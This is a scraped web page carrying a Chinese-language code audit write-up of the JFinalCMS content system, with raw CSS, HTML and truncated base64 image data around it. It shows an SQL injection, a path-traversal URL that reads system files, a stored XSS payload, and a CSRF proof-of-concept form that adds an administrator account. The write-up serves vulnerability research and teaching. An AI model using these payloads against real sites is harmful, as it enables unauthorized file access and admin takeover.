fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style>@media(-webkit-min-device-pixel-ratio:1.5),(min-device-pixel-ratio:1.5),(min-resolution:192dpi),(min-resolution:1.5dppx){}@media(-webkit-min-device-pixel-ratio:1.5),(min-device-pixel-ratio:1.5),(min-resolution:192dpi),(min-resolution:1.5dppx){}@media(-webkit-min-device-pixel-ratio:1.5),(min-device-pixel-ratio:1.5),(min-resolution:192dpi),(Line truncated
|
||||
<body>
|
||||
<div class="global-nav mb-50" style="display:none !important">
|
||||
|
||||
</div>
|
||||
<div class="top-alert mt-60 clearfix text-center" style="display:none !important">
|
||||
<!--[if lt IE 9]>
|
||||
<div class="alert alert-danger topframe" role="alert">你的浏览器实在<strong>太太太太太太旧了</strong>,放学别走,升级完浏览器再说
|
||||
<a target="_blank" class="alert-link" href="http://browsehappy.com">立即升级</a>
|
||||
</div>
|
||||
<![endif]-->
|
||||
|
||||
</div>
|
||||
<div class=wrap>
|
||||
<div class=container>
|
||||
<div class="row mt-10">
|
||||
<div class="col-xs-12 col-md-9 main">
|
||||
<div class=widget-article>
|
||||
<h3 class="title word-wrap">JFinalCMS代码审计</h3>
|
||||
<ul class=taglist-inline>
|
||||
<li class=tagPopup><a class=tag href=https://forum.butian.net/topic/47>渗透测试</a></li>
|
||||
</ul>
|
||||
<div class="content mt-10">
|
||||
<div class="quote mb-20">
|
||||
某cms代码审计
|
||||
</div>
|
||||
<textarea id=md_view_content style=display:none>简介
|
||||
--
|
||||
|
||||
> JFinalCMS是一款小巧、灵活、简单、易用的轻量级cms。能满足各种企业站 博客 等中小型站点。极速开发,动态添加字段,自定义标签,动态创建数据库表并crud数据,数据库备份、还原,动态添加站点(多站点功能),一键生成模板代码,让您轻松打造自己的独立网站,同时也方便二次开发,让您快速搭建个性化独立网站 。
|
||||
|
||||
0x0 开始
|
||||
------
|
||||
|
||||
首先先读一下web.xml
|
||||
|
||||

|
||||
找到JFinalFilter,可以看到代码是限制了访问jsp,但是没有看到对其他安全漏洞的过滤。
|
||||
|
||||

|
||||
可以看到是有对jsp以及jspx做了限制不允许访问。
|
||||
|
||||

|
||||
然后可以随便找一个Controller然后进入发现是继承了BaseController这个类
|
||||
|
||||

|
||||
然后BaseController又继承了Controller类。
|
||||
|
||||

|
||||
|
||||
读一下Controller类的源码,首先是init方法,这个方法可能是初始化controller,该方法把HttpServletRequest和HttpServletResponse赋值给该类的属性。简单来说Controller就是对Servlet的封装。
|
||||
|
||||

|
||||
然后读到getPara函数,实际上就是获取url里面的参数。
|
||||

|
||||
|
||||
以及getPara的一系列封装,以及getParaToInt和getParaToLogin之类的,就是返回一个数字类型的对象,之后审计遇到这种这类函数可以放弃注入和xss等需要特殊字符的漏洞。(主要通读就是看看有没有过滤函数之类的)
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
上传文件的getFiles系列方法。因为程序有对jsp和jspx做校验就不仔细看了。
|
||||
|
||||

|
||||
|
||||
0x1 sql注入
|
||||
---------
|
||||
|
||||
路由/search
|
||||
|
||||

|
||||
断点调试到ActionHandler的113行,跟进render函数
|
||||
|
||||

|
||||
然后到跟进62行的render函数
|
||||
|
||||

|
||||
其实data就是我们传递进去的数据
|
||||
|
||||

|
||||
然后是跟进57行 走到了exec函数
|
||||
|
||||

|
||||
然后是调用了exec参数去执行,这里跟进的是findPage函数。
|
||||
|
||||

|
||||
|
||||
跟踪到findPage发现keyword没有经过过滤,以及转义直接就使用+的方式拼接进入sql语句种造成了sql注入的问题。
|
||||
|
||||

|
||||
注入结果:
|
||||
|
||||

|
||||
|
||||
ps: 要在statArray\[21\]的时候跟进
|
||||
|
||||

|
||||
因为statArray其他的元素其实就是把模板文件读取一遍,然后在渲染出来。不执行sql操作。
|
||||
|
||||

|
||||
|
||||
0x2 任意文件读取
|
||||
----------
|
||||
|
||||
路由监听/common/down/file 获取get请求的fileKey参数。
|
||||
|
||||

|
||||
跟进getPara函数发现其实就是封装好的getParameter函数。也没有过滤../关键字。
|
||||
|
||||

|
||||
然后用fileKey的值和PathKit.getWebRootPath() 函数的返回值拼接 (其实这里已经不用看getWebRootPath的返回值了,因为getWebRootPath无论是什么,都可以被../../../../去进行目录跨越)。
|
||||
|
||||

|
||||
<http://127.0.0.1:8080/common/down/file?fileKey=/../../../../../../../../../../windows/win.ini>
|
||||
成功读取到win.ini文件。
|
||||
**(个人觉得审计这套源码学到比较重要的东西:虽然返回的是404,但是依旧是执行了下载文件功能,有时候src或者黑盒测试的时候遇到404应该尽量fuzz一下。而不是直接放弃。也许404页面有大用也说不准,听几个师傅说过404页面xss,url跳转之类的水洞出现率还是挺高的。)**
|
||||
|
||||

|
||||
|
||||
0x3 存储型XSS
|
||||
----------
|
||||
|
||||
留言板处的在线留言功能/guestbook可以添加留言。
|
||||
|
||||

|
||||
抓取数据包,然后直接打上xss测试的payload: `<img src=0 onerror=alert(1)>`
|
||||
|
||||

|
||||
|
||||
这里的看到第三十行的代码
|
||||
|
||||
Guestbook guestbook = getModel(Guestbook.class,"",true);
|
||||
|
||||

|
||||
|
||||
分析getModel方法,这里是调用了injectModel方法,看着参数列表像是一个通过class创建一个对象的方法。
|
||||
|
||||

|
||||
|
||||
跟进injectModel,发现其实就是调用了request.getParameterMap获取http的全部参数,然后对照类的字段名,依次匹配,如果名称一样(比如http参数名是name, xxx这个类也有一个name字段,则将http参数name的值赋值给xxx这个类的对象的name字段)。
|
||||
|
||||

|
||||
|
||||
最后是调用save生成数据库insert语句然后直接插入数据库,这里是没有过滤的。所以就导致了xss。
|
||||
|
||||

|
||||
有点意思的是,虽然开发者知道并且为之后的功能提前预留了过滤xss的发放,但实际上并没有重写方法。可以看到filter函数是一个空函数,所以并没有过滤xss的功能。
|
||||
|
||||

|
||||
最后前台效果如下:
|
||||
|
||||

|
||||
|
||||
并且从后台取出sql数据的时候,也没有经过过滤,所以该xss也能够前台盲打后台。
|
||||
|
||||

|
||||
|
||||
0x4 CSRF
|
||||
--------
|
||||
|
||||
后台/admin/admin/save路由,可以看到全程未有referer以及csrf-token校验。
|
||||
|
||||

|
||||
|
||||
且观察前端代码也没有使用csrf-token进行校验
|
||||
|
||||

|
||||
|
||||
poc:
|
||||
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
<form action="http://localhost:8080/admin/admin/save" method="POST" name="form1" enctype="application/x-www-form-urlencoded" >
|
||||
<input type="hidden" name="username" value="test"/>
|
||||
<input type="hidden" name="password" value="test"/>
|
||||
<input type="hidden" name="rePassword" value="test"/>
|
||||
<input type="hidden" name="name" value="test"/>
|
||||
<input type="hidden" name="roleIds" value="1"/>
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
<script>history.pushState('', '', '/');</script>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
登录管理员的情况下,可以看到成功附带cookie过去,并且成功的添加了test用户,并且登录成功。
|
||||
|
||||

|
||||
使用csrf添加的test账户成功登录后台。
|
||||
|
||||

|
||||
|
||||
0x5 总结
|
||||
------
|
||||
|
||||
在审计过程中如果时间关系不要紧的话可以采用debug大法一个一个参数跟踪,也可以采用白+黑的方式测试,这样能省一些事,但是还是得对代码漏洞的成因进行分析,因为这样其实能够找到更多漏洞,一个点有注入往往意味着整套程序都有注入。也可以学到一些开发姿势。而且以后在挖src或者其他什么情况没有思路的时候不要放弃任何一个页面(包括404)。</textarea>
|
||||
<div id=layer-photos-demo>
|
||||
<div id=md_view><div class=markdown-body><h2 blockindex=0>简介</h2>
|
||||
<blockquote blockindex=1>
|
||||
<p>JFinalCMS是一款小巧、灵活、简单、易用的轻量级cms。能满足各种企业站 博客 等中小型站点。极速开发,动态添加字段,自定义标签,动态创建数据库表并crud数据,数据库备份、还原,动态添加站点(多站点功能),一键生成模板代码,让您轻松打造自己的独立网站,同时也方便二次开发,让您快速搭建个性化独立网站 。</p>
|
||||
</blockquote>
|
||||
<h2 blockindex=2>0x0 开始</h2>
|
||||
<p blockindex=3>首先先读一下web.xml</p>
|
||||
<p blockindex=4><img src="data:image/png;base64,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 truncated
|
||||
找到JFinalFilter,可以看到代码是限制了访问jsp,但是没有看到对其他安全漏洞的过滤。</p>
|
||||
<p blockindex=5><img src="data:image/png;base64,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 truncated
|
||||
可以看到是有对jsp以及jspx做了限制不允许访问。</p>
|
||||
<p blockindex=6><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA+8AAAIbCAYAAACaDq+eAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAgAElEQVR4nOzdd3hUVf7H8fedZNJ7I6QAAZJQFRHUVRDF3ruLiti7q1tcXXddf+quu+66a9m1roq66oq9F2yI2BGkl5BKeiNtkpkkM3N+f5BQNCETyJABP6/nyfOQe8699zv3nhvme8+551rTJ48y9KCkvsfF8gOJySnU19YMdhgiIiIiIiKyF7MNdgAiIiIiIiIismNK3kVEREREREQCnJJ3ERERERERkQCn5F1EREREREQkwCl5FxEREREREQlwwTsqDAuP2l1x7NF0nAJDfGLkYIewQw31rYMdgoiIiIiI7KHU8y4iIiIiIiIS4JS8y15h3rx5PPzgE4MdhoiIiIiIiF8oeRcREREREREJcDt85l1EZE/kJZ7JZ8/mpMnDsS99lFtf3DDYIYmIiIiI7BL1vMtex5hgQqb8nSFHH4fNmMEOp1ehaZM54YLrOHXC7o3Ra2yMPv4X/Pqig0kMsOMz9IiLuOyMGYyO2bXtBE86lTkH2PjumX/z0PslAxOciIiIiMggUvK+F/GaUM48/VBuzrH8sv0phx3CC5fP4IXLZzDvsvHMtAVW4rdVMEFxGQTHJxO0C1sxJoqo0z9kyP5DBiyybtHjzuBXvz6THOcyVmyTW3rDR3LsZb/nr/fez31/v5WrTx5P9A8SbO8Bl/Pg/51C2k4n3nZiUlIZMjSeiJ3/CDttR/HXr/meioQZXHXjZRyUsvPtOCw+ltCatXy1qpiq5o5dCVdEREREJCD4fdi814pl/DFncdzkVFyLn+ShD8s3LzdZnPCrc9g3vKuiZWFr+55n732HYts+nHPzyYw0BrOl2EbLkqd5YH6pv0OWXqz46juuXwpEpXPTCeF91h8sluXC+dG5lG/+ZbDD+RFv+GRmXXwwbW/9lX99WrslRq+xmHDmZRyd9D3P/fu/1MVM5szZl3BuzS08+nXbgO3fZrWz9Kk/sBQC7vh0VC7jrf/kUXLB77j0wqPI/9t86nYixrbWNkxEJFFA48CHKSIiIiKy2/k1efeaBA48/wIO7PiWz1dGMGWbMptVxHv3/YX3AG/wUA6dfRajCpZvTrgA2Mj8e/7L0nYLr4lnxqWXM7Sy1p/h7j2iU7ju9JHsH2MoLy7kgU+rqaArQbRHcMK0HE4YFkmkp511eQU8+s0mGq2+yzva26lqB6/lxtvLrr3BERx7SA4nj4gkxrSzPq+Qh7+qZ1P39kNj+flhozhiaAThnnYKCot45ItaarDwmlDOPuNAcjZuwDkii0lRHsqLi7aLvy/hx75LSnYIAKb+Ocqfm4tn2+Qv7kgSjryIyOQULO8mOoqeo/bjN/B4fEwQd7C+MWnEnPM0YYX/wjvqQiJiPHQUPk3dx2/j8W7dfuSUg5no/Ip/Lqz